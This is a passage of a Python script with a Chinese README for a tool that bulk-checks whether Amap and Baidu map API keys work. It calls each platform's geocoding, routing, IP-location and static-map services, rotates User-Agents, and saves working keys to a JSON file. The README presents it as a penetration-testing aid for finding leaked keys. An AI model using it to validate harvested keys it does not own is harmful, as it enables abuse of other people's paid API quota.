         random_ip = GeoGenerator.random_ip()

         if platform == 'amap':
            return {
                "静态地图": {
                    "url": "https://restapi.amap.com/v3/staticmap",
                    "params": {"location": f"{coord[1]},{coord[0]}", "zoom": 10, "size": "400*300", "markers": f"mid,,A:{coord[1]},{coord[0]}"},
                    "is_static": True
                },
                "地理编码": {
                    "url": "https://restapi.amap.com/v3/geocode/geo",
                    "params": {"address": random_addr}
                },
                "逆地理编码": {
                    "url": "https://restapi.amap.com/v3/geocode/regeo",
                    "params": {"location": f"{coord[1]},{coord[0]}"}
                },
                "路径规划": {
                    "url": "https://restapi.amap.com/v3/direction/driving",
                    "params": {"origin": "116.481028,39.989643", "destination": "116.434446,39.90816"}
                },
                "IP定位": {
                    "url": "https://restapi.amap.com/v3/ip",
                    "params": {"ip": random_ip}
                }
            }
         elif platform == 'baidu':
            return {
                "静态地图": {
                    "url": "https://api.map.baidu.com/staticimage/v2",
                    "params": {"center": f"{coord[1]},{coord[0]}", "zoom": 10, "width": 400, "height": 300, "markers": f"{coord[1]},{coord[0]}"},
                    "is_static": True
                },
                "地理编码": {
                    "url": "https://api.map.baidu.com/geocoding/v3/",
                    "params": {"address": random_addr, "output": "json"}
                },
                "逆地理编码": {
                    "url": "https://api.map.baidu.com/reverse_geocoding/v3/",
                    "params": {"location": f"{coord[0]},{coord[1]}", "output": "json"}
                },
                "路径规划": {
                    "url": "https://api.map.baidu.com/direction/v2/driving",
                    "params": {"origin": "40.01116,116.339303", "destination": "39.936404,116.452562"}
                },
                "IP定位": {
                    "url": "https://api.map.baidu.com/location/ip",
                    "params": {"ip": random_ip, "coor": "bd09ll"}
                }
            }
         return {}

    def _call_api(self, url: str, params: dict, platform: str, service_name: str, is_static: bool = False) -> Tuple[bool, dict]:
        """Executes a single API request with retries."""
        current_params = params.copy()
        retries = current_params.pop('retry', 2) + 1
        detail = {'params': params, 'latency': None, 'error': None, 'error_info': None, 'response': None}

        for attempt in range(retries):
            response = None
            try:
                headers = {'User-Agent': random.choice(self.user_agents)}
                start_time = time.time()
                response = requests.get(
                    url,
                    params=current_params,
                    headers=headers,
                    timeout=15,
                    verify=certifi.where(),
                    stream=is_static
                )
                latency = round((time.time() - start_time) * 1000, 2)
                detail['latency'] = latency

                content_type = response.headers.get('Content-Type', '').lower()

                if is_static and response.status_code == 200 and content_type.startswith('image/'):
                    detail['response'] = {'content_type': content_type, 'status_code': 200}
                    response.close()
                    return True, detail

                if response.status_code != 200:
                    error_msg = f"HTTP {response.status_code}"
                    try:
                        error_data = response.json()
                        error_msg += f". API Msg: {json.dumps(error_data, ensure_ascii=False)}"
                    except (json.JSONDecodeError, requests.exceptions.RequestException):
                        error_msg += f". Response: {response.text[:200]}..."
                    detail['error'] = error_msg
                    raise requests.HTTPError(error_msg, response=response)

                data = None
                try:
                    if 'application/json' in content_type or 'text/javascript' in content_type:
                         data = response.json()
                    elif platform == 'amap' and service_name == "IP定位" and 'text/html' in content_type and response.text.startswith('{') and response.text.endswith('}'):
                         data = json.loads(response.text)
                    else:
                         raise ValueError(f"非预期响应类型: {content_type}")

                    detail['response'] = data

                    success = False
                    error_info = ""
                    if platform == 'amap':
                        success = str(data.get('status')) == '1'
                        if not success: error_info = data.get('info', '未知高德错误') + f" (infocode: {data.get('infocode', '')})"
                    elif platform == 'baidu':
                        success = data.get('status') == 0
                        if not success: error_info = data.get('message', '未知百度错误') + f" (status: {data.get('status', '')})"
                    else: error_info = "未知平台错误"

                    detail['error_info'] = error_info if not success else None
                    return success, detail

                except json.JSONDecodeError as e:
                    detail['error'] = f"JSON解析失败 ({content_type}): {str(e)} | 响应: {response.text[:200]}..."
                    return False, detail
                except ValueError as e:
                    detail['error'] = f"{str(e)} | 响应: {response.text[:200]}..."
                    return False, detail

            except requests.exceptions.Timeout:
                detail['error'] = "请求超时"
                if attempt == retries - 1: return False, detail
                time.sleep(1 + 1.5 * attempt)
            except requests.exceptions.RequestException as e:
                detail['error'] = f"请求错误: {type(e).__name__}" + (f" (Status: {response.status_code})" if response else "")
                if attempt == retries - 1: return False, detail
                time.sleep(1 + 1.5 * attempt)
            except Exception as e:
                 detail['error'] = f"未知处理错误: {type(e).__name__}: {str(e)}"
                 print(f"{EMOJI_ERROR} {colored('内部脚本错误', 'red')}: {traceback.format_exc()[:500]}...")
                 return False, detail
            finally:
                if response:
                    response.close()

        detail['error'] = f"超过最大重试次数 ({retries}). 最后错误: {detail['error']}"
        return False, detail

    def test_service(self, platform: str, service_name: str, key: str, service_config: dict) -> Tuple[bool, dict]:
        """Tests a single service with its config."""
        params = service_config['params'].copy()
        params['key' if platform == 'amap' else 'ak'] = key
        is_static = service_config.get('is_static', False)
        return self._call_api(service_config['url'], params, platform, service_name, is_static)


class ReportGenerator:
    """Generates console output for test results."""
    @staticmethod
    def print_result(service: str, platform: str, success: bool, detail: dict):
        status_icon = EMOJI_SUCCESS if success else EMOJI_FAIL
        status_color = 'green' if success else 'red'
        service_status = colored("成功" if success else "失败", status_color)

        print(f"{EMOJI_SERVICE} {service.ljust(7)} {status_icon} {service_status}")

        indent = "  │"

        latency = detail.get('latency')
        latency_str = f"{latency:.2f} ms" if latency is not None else "N/A"
        print(f"{indent} {EMOJI_CLOCK} 耗时: {latency_str}")

        params_str = " | ".join([f"{k}={v:.4f}" if isinstance(v, float) else f"{k}={str(v)[:30]}{'...' if len(str(v))>30 else ''}"
                                 for k, v in detail.get('params', {}).items() if k not in ['key', 'ak']])
        if params_str:
             print(f"{indent} {EMOJI_INFO} 参数: {colored(params_str, 'cyan')}")

        if success:
            success_info_str = ReportGenerator._extract_success_info(service, platform, detail.get('response'))
            if success_info_str:
                print(f"{indent} {EMOJI_INFO} 结果: {colored(success_info_str, 'green')}")

        error_msg = detail.get('error')
        error_info = detail.get('error_info')

        if error_info:
            print(f"{indent} {EMOJI_WARNING} 原因: {colored(error_info, 'yellow')}")
            ReportGenerator._print_error_analysis(error_info)
        elif error_msg:
            print(f"{indent} {EMOJI_ERROR} 原因: {colored(error_msg, 'red')}")
            ReportGenerator._print_error_analysis(error_msg)
        elif not success:
            print(f"{indent} {EMOJI_ERROR} 原因: {colored('未知原因失败', 'red')}")
        print( "  └" + "─" * 30)


    @staticmethod
    def _extract_success_info(service: str, platform: str, response_data: Optional[Any]) -> str:
        """Extracts a brief summary from successful API response data."""
        if response_data is None: return ""
        try:
            if isinstance(response_data, dict) and response_data.get('content_type', '').startswith('image/'):
                return f"成功获取图片 ({response_data['content_type']})"
            elif isinstance(response_data, dict):
                if service == "IP定位":
                    city = "未知"
                    if platform == 'amap': city = response_data.get('city') if isinstance(response_data.get('city'), str) and response_data.get('city') else response_data.get('adcode', 'N/A')
                    elif platform == 'baidu': city = response_data.get('content', {}).get('address_detail', {}).get('city', 'N/A')
                    return f"定位城市: {city}" if city and city != 'N/A' else "定位成功 (无城市信息)"
                elif service == "地理编码":
                    loc = "未知"
                    if platform == 'amap': loc = response_data.get('geocodes', [{}])[0].get('location', 'N/A')
                    elif platform == 'baidu': loc_dict = response_data.get('result', {}).get('location', {}); loc = f"{loc_dict.get('lat', 'N/A')},{loc_dict.get('lng', 'N/A')}" if loc_dict else 'N/A'
                    return f"获取坐标: {loc}"
                elif service == "逆地理编码":
                    addr = "未知"
                    if platform == 'amap': addr = response_data.get('regeocode', {}).get('formatted_address', 'N/A')
                    elif platform == 'baidu': addr = response_data.get('result', {}).get('formatted_address', 'N/A')
                    return f"获取地址: {addr[:40]}{'...' if len(addr)>40 else ''}"
                elif service == "路径规划":
                    dist, dur = "N/A", "N/A"
                    try:
                        if platform == 'amap': path = response_data.get('route', {}).get('paths', [{}])[0]; dist, dur = path.get('distance'), path.get('duration')
                        elif platform == 'baidu': route = response_data.get('result', {}).get('routes', [{}])[0]; dist, dur = route.get('distance'), route.get('duration')
                        return f"距离: {dist}米, 时间: {dur}秒"
                    except (IndexError, KeyError, TypeError): return "路径规划成功"
                else: return "调用成功"
            return ""
        except Exception as e:
            return colored(f"结果解析出错: {e}", 'magenta')

    @staticmethod
    def _print_error_analysis(error_text: str):
        """Prints specific warning icons based on error text keywords."""
        indent = "  │  "
        error_lower = error_text.lower()
        analysis_printed = False
        if 'quota' in error_lower or '配额' in error_lower or '并发' in error_lower or 'qps' in error_lower or 'limit' in error_lower:
            print(f"{indent}{EMOJI_QUOTA} {colored('[疑似配额/并发限制]', 'yellow')}")
            analysis_printed = True
        if 'invalid user key' in error_lower or 'key不正确' in error_lower or 'ak不存在' in error_lower or '权限校验失败' in error_lower or 'permission denied' in error_lower or 'key status' in error_lower or '无效' in error_lower :
            print(f"{indent}{EMOJI_PERM} {colored('[密钥无效或服务未开通/权限不足]', 'red')}")
            analysis_printed = True
        if 'domain' in error_lower or 'ip白名单' in error_lower or 'referer' in error_lower or 'sn校验失败' in error_lower:
             print(f"{indent}{EMOJI_PERM} {colored('[IP/域名/Referer/SN白名单校验失败]', 'magenta')}")
             analysis_printed = True
        if 'timeout' in error_lower or '超时' in error_lower:
            print(f"{indent}{EMOJI_NETWORK} {colored('[请求超时]', 'blue')}")
            analysis_printed = True
        if 'json解析失败' in error_lower or '非预期响应类型' in error_lower:
            print(f"{indent}{EMOJI_NETWORK} {colored('[响应格式错误或非预期]', 'magenta')}")
            analysis_printed = True
        if '请求错误' in error_text or 'http' in error_lower or 'connection' in error_lower or 'ssl' in error_lower:
            print(f"{indent}{EMOJI_NETWORK} {colored('[网络/连接/HTTP错误]', 'blue')}")
            analysis_printed = True


# --- Main Execution ---

def parse_args():
    """Parses command line arguments."""
    parser = argparse.ArgumentParser(
        description=f"{EMOJI_TOOL} 地图API密钥全自动检测工具 (v3.6)", # Version bump for banner
        formatter_class=argparse.RawTextHelpFormatter
        )
    parser.add_argument('-k', '--keys', nargs='+', help="直接在命令行指定一个或多个密钥")
    parser.add_argument('-f', '--file', help="包含密钥的文件路径 (每行一个密钥)")
    parser.add_argument('-t', '--threads', type=int, default=5, help="并发测试线程数 (默认: 5)")
    parser.add_argument('-o', '--output', help="将成功的检测结果输出到指定的JSON文件")
    parser.add_argument('--skip-static', action='store_true', help="跳过静态地图服务的检测")

    temp_args, _ = parser.parse_known_args()
    if not temp_args.keys and not temp_args.file:
         # Print banner before showing help on error
         print(colored(BANNER, 'cyan'))
         parser.print_help()
         print(colored("\n错误: 必须通过 -k 或 -f 提供至少一个密钥。", "red"))
         exit(1)

    return parser.parse_args()

def main(keys_to_test: List[str], num_threads: int, output_file: Optional[str], skip_static: bool):
    """Main detection workflow."""
    tester = APITester()
    futures_map = {}
    results_for_output = []

    print(f"{EMOJI_DETECT} 开始检测 {len(keys_to_test)} 个密钥，使用 {num_threads} 个线程...")
    if skip_static: print(f"{EMOJI_INFO} 已设置跳过静态地图检测。")

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        for key in keys_to_test:
            key = key.strip()
            if not key: continue

            platform, key_format_desc = KeyValidator.detect_platform(key)
            masked_key = f"{key[:6]}...{key[-4:]}" if len(key) > 10 else key

            if platform == 'unknown':
                print(colored(f"\n{EMOJI_FAIL} 无效密钥格式: {key}", "red"))
                continue
            if platform == 'ambiguous':
                 print(colored(f"\n{EMOJI_WARNING} 检测到模糊密钥: {masked_key}", "yellow"))
                 print(colored(f"  格式 ({key_format_desc}) 可能属于高德或百度，将尝试两者。", "yellow"))
                 platforms_to_try = ['amap', 'baidu']
            else:
                 platforms_to_try = [platform]

            for p in platforms_to_try:
                print(colored(f"\n{EMOJI_DETECT} 正在检测 {p.upper()} 服务 - 密钥: {masked_key}", "blue", attrs=['bold']))
                print(f"  {EMOJI_PLATFORM} 平台识别: {p.upper()}")
                print(f"  {EMOJI_KEY_FORMAT} Key格式: {key_format_desc}")

                platform_services = tester._generate_service_configs(p)

                for service_name, service_config in platform_services.items():
                    if skip_static and service_config.get('is_static', False):
                        continue

                    future = executor.submit(tester.test_service, p, service_name, key, service_config)
                    futures_map[future] = {'key': key, 'platform': p, 'service_name': service_name}

        print(colored("\n--- 检测结果 ---", attrs=['bold']))
        processed_count = 0
        total_tasks = len(futures_map)

        for future in as_completed(futures_map):
            processed_count += 1
            context = futures_map[future]
            key = context['key']
            platform = context['platform']
            service_name = context['service_name']
            masked_key = f"{key[:6]}...{key[-4:]}" if len(key) > 10 else key

            try:
                success, detail = future.result()
                ReportGenerator.print_result(service_name, platform, success, detail)

                if success and output_file:
                    result_item = {
                        'key': key,
                        'platform': platform,
                        'service_name': service_name,
                        'request_params': detail.get('params'),
                        'response_summary': ReportGenerator._extract_success_info(service_name, platform, detail.get('response')),
                        'latency_ms': detail.get('latency'),
                    }
                    results_for_output.append(result_item)

            except Exception as exc:
                 print(colored(f"{EMOJI_FAIL} {service_name.ljust(7)}", 'red'))
                 print(f"  └─ {colored(f'执行 {service_name} (平台: {platform}, 密钥: {masked_key}) 时发生内部错误: {exc}', 'red')}")

    if output_file:
        print(colored(f"\n{EMOJI_WRITE} 正在将 {len(results_for_output)} 条成功结果写入到: {output_file}", "blue"))
        try:
            with open(output_file, 'w', encoding='utf-8') as f:
                json.dump(results_for_output, f, ensure_ascii=False, indent=4)
            print(colored(f"{EMOJI_SUCCESS} 成功写入 JSON 文件。", "green"))
        except IOError as e:
            print(colored(f"{EMOJI_ERROR} 写入文件失败: {e}", "red"))
        except TypeError as e:
             print(colored(f"{EMOJI_ERROR} 序列化结果为JSON时失败 (可能包含无法序列化的数据): {e}", "red"))


if __name__ == "__main__":
    # --- Print Banner First ---
    print(colored(BANNER, 'cyan')) # Choose a color for the banner

    args = parse_args() # Parse arguments after printing banner
    keys = []

    if args.keys:
        keys.extend(args.keys)
    if args.file:
        try:
            with open(args.file, 'r', encoding='utf-8') as f:
                keys.extend([line.strip() for line in f if line.strip()])
        except FileNotFoundError:
             print(colored(f"{EMOJI_ERROR} 错误：密钥文件 '{args.file}' 未找到。", "red"))
             exit(1)
        except Exception as e:
             print(colored(f"{EMOJI_ERROR} 错误：读取密钥文件 '{args.file}' 时出错: {e}", "red"))
             exit(1)

    unique_keys = sorted(list(set(keys)))

    # Input validation is handled within parse_args now

    main(unique_keys, args.threads, args.output, args.skip_static)
    print(colored(f"\n{EMOJI_TOOL} 检测完成。", attrs=['bold']))

地图API密钥全自动检测工具

简介

地图API密钥全自动检测工具 是一款高效、全面的解决方案，旨在简化渗透测试过程中地图API密钥的管理和风险评估工作。无论是渗透测试人员还是安全研究人员，在分析应用程序或系统对地图API的依赖时，常常面临密钥有效性验证、服务权限探测和潜在安全风险评估等多重挑战。本工具通过自动化执行这些关键任务，极大地提升了水洞效率，并帮助识别与地图服务相关的潜在安全漏洞.

主要功能

密钥有效性验证： 多接口，多服务调用自动验证地图API密钥的有效状态(高德/百度)，快速识别可能被滥用或已泄露的密钥。
批量密钥测试： 支持批量测试多个地图API密钥，提高渗透测试效率，快速评估大量密钥的风险。

技术特点

Python开发： 采用Python语言开发，具有良好的跨平台性和可读性。
Requests库： 使用Requests库发送HTTP请求，简化API调用过程。

快速开始

运行脚本：
python your_script_name.py -k your_amap_key

输出如下：